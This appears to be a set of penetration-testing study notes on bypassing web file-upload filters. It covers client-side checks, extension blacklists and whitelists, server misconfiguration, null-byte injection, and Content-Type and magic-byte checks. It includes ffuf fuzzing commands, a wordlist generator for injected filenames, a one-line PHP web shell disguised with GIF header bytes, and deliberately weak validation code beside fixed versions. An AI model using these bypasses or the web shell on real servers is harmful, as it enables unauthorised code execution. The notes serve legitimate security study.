PRIMARY CATEGORY → FILE UPLOAD

Client-Side Validation

Imagine we access to a web application which offers a user registration and login features

Once we logged in, we see that we can change the profile image related to our user by uploading another one using a web form

Zoom in

When we click the Upload button and our file explorer is opened, only files with certain extensions are displayed, namely JPG and PNG

Zoom in

We can modify the display filter to show All Files and select our malicious PHP script, but when we do so, we get an error message saying that only images are allowed

Zoom in

To bypass this specific protection that prevent us from uploading whatever file we want, we can either modify the upload request to the backend server or we can manipulate the frontend code to disable the given validation

Backend Request Modification

We can simply intercept the HTTP request which uploads the given image with Burp and modifiy certain data in it to bypass any client-side validation

In this case, it’s only necessary to modify the filename and its content

Zoom in


Blacklist

We may face a file upload feature on a web application that filters the uploaded file by its extension. Usually there is a validation on the backend based on an specific blacklist of unauthorized extensions

The problem is that this is a poor security measure to prevent arbitrary file uploads, as the programmer must bear in mind all the file extensions that an adversary could use to gain RCE. That is, any file extension whose content will be evaluated by the web server

For instance, if the virtual host related to the accessible web application is configured to evaluate PHP scripts, it may interpret other extensions as well, such as PHP6, PHTML and so on

Validation Code
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
 
if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}

As stated, this validation method is not recommended as it may not include other extensions in this list that may still be used to execute PHP code. Moreover, the comparision above is case-sensitive…

Fuzzing Extensions

In this case, the most reliable way to proceed is to fuzz for certain file extensions that allow code execution and check which one the web server returns a different response for

To do so, we can use a tool such as Ffuf. Regarding wordlists, we have the following ones

PHP   •   .NET   •   Common Web Extensions

We can also use Burp Intruder, but it is not recommended unless the Pro version is purchased

So, first we have to intercept the request with Burp and dump it to a file. We can just copy and paste it to a file. We should add the FUZZ placeholder wherever we want fuzzing to be applied

Zoom in

Next, we can pass the file containing the request to FFUF and specifiy the given wordlist

ffuf -v -t <THREADS> -request <REQUEST_FILE> -request-proto <REQUEST_PROTOCOL> -w <WORDLIST> -fs <INTEGER>

Once we know the allowed extensions what we belive execute code, we have to check the code execution, namely a print_r() function

So, we can delete from the previous wordlist the extensions that have not worked in this case and subsequently request each uploaded resource until we get code execution in any of them

while IFS= read -r _ext
do
	printf "\n%s ->\n\n" "$_ext"
	curl \
		--silent \
		--location \
		--request GET \
		"http://154.57.164.78:31110/profile_images/dog${_ext}"
 
done < ./wordlist

Whitelist

A whitelist is generally more secure than a blacklist as it’s not necessary to be comprehensive in convering uncommon extensions

Validation Code
$fileName = basename($_FILES["uploadFile"]["name"]);
 
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

The PHP above code uses regex to check whether the provided extension is included within the defined whitelist

The issue here lies within the regex, as it verifies that the name of the uploaded file contains the extension instead of end with it

Fuzzing Extensions

So, an adversary could upload a file called shell.jpg.php and it will be valid and pass the whitelist filter. Furthermore, since the resource ends with PHP, its content will be evaluated when a client requests it, achieving code execution

As with blacklists, we can start by fuzzing for extension until the HTTP response changes

ffuf -v -t <THREADS> -request <REQUEST_FILE> -request-proto <REQUEST_PROTOCOL> -w <WORDLIST> -fs <INTEGER>

Once we know an allowed extension whose content will probably be evaluated by the web server, simply upload a web shell

The previous PHP code could be more secure simply by modifying the regex to match any uploaded file whose name ends with any extension within the predefined list

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... }
Reverse Double Extension

There are cases when the web application’s upload feature itself is not vulnerable but the web server is misconfigured, such as follows

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

Here is an example of another bad and poor regex, which allows code execution to any existing resource that contains PHAR, PHP or PHTML

That is, let’s suppose the upload feature has the following logic

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... }

It only allows uploading files ending with the extensions above. It appears to be well designed, and it is. But the problem lies in the web server configuration, since it is configured to evaluate the content of any existing file that contains a string such as PHAR or PHP, an adversary could upload a malicious file called shell.php.jpg, passing the validation above, then request it

Of course, as has been said, its content will be evaluated

Character Injection

There are situations where an operator could append certain characters before or after the final extension to cause the web application to misinterpret the filename and execute the uploaded file as a PHP script

That’s the case when the web application is running PHP 5.X or earlier, these versions are susceptible to Null Bytes. Therefore, we can upload a file called shell.php%00.jpg

The PHP engine will keep reading until the null byte (%00) and will write the file to disk with the name shell.php. Then, we can request it and its content will be evaluated

We can create a list of potentially evaluable extensions for fuzzing as follows

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'
do
    for ext in '.php' '.phps'
	do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
Secure Code

Blacklist + Whitelist

$fileName = basename($_FILES["uploadFile"]["name"]);
 
// blacklist test
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
    echo "Only images are allowed";
    die();
}
 
// whitelist test
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

Content-Type Header

Most current web applications carry out several validation steps before writing an arbitrary upload to disk

We have seen several extension-related filters. However, they also attend to the Content-Type header and magic bytes of the given file

In this case, we will address the first one

So, an adversary can try to bypass an upload feature on a web application by modifying the Content-Type header within the uploaded file section

Zoom in

Validation Code
$type = $_FILES['uploadFile']['type'];
 
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}
Fuzzing Content-Types

We may start by fuzzing the Content-Type header value of the given file with this Content-Type Wordlist until we see a different response from the web server

Zoom in

We can copy the content above to a file called request.txt, which contains the raw HTTP request and pass it to Ffuf to fuzz for the Content-Type header

ffuf -v -t <THREADS> -request <REQUEST> -request-proto <REQUEST_PROTOCOL> -w <WORDLIST>

MIME Type

Magic Bytes

The other type of validation regarding the file content is the MIME Type validation

Every single file has a MIME type assigned, which corresponds to the first bytes of the given file, and is used to identify the type of file based on its content and bytes structure

If the first bytes of a file are plain text, then the MIME type will be ASCII text

echo 'this is a test' > test.jpg
file !$

Even if the file ends with the JPG extension, the file command analyzes the first bytes of its content and tell us the MIME type in question

So, we can add the first bytes of a GIF to the previous file and its MIME type will change to a GIF

echo 'GIF8this is a test' > test.jpg
file !$
Validation Code
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);
 
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}
Bypass

So, to bypass this validation, is as simple as adding the first bytes of a GIF or any other image type to the beginning of the malicious file

echo 'GIF8<?php system($_GET[0]); ?>' > shell.php
Secure Code

Content-Type + MIME Type

$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
 
// whitelist test
if (!preg_match('/^.*\.png$/', $fileName)) {
    echo "Only PNG images are allowed";
    die();
}
 
// content test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!in_array($type, array('image/png'))) {
        echo "Only PNG images are allowed";
        die();
    }
}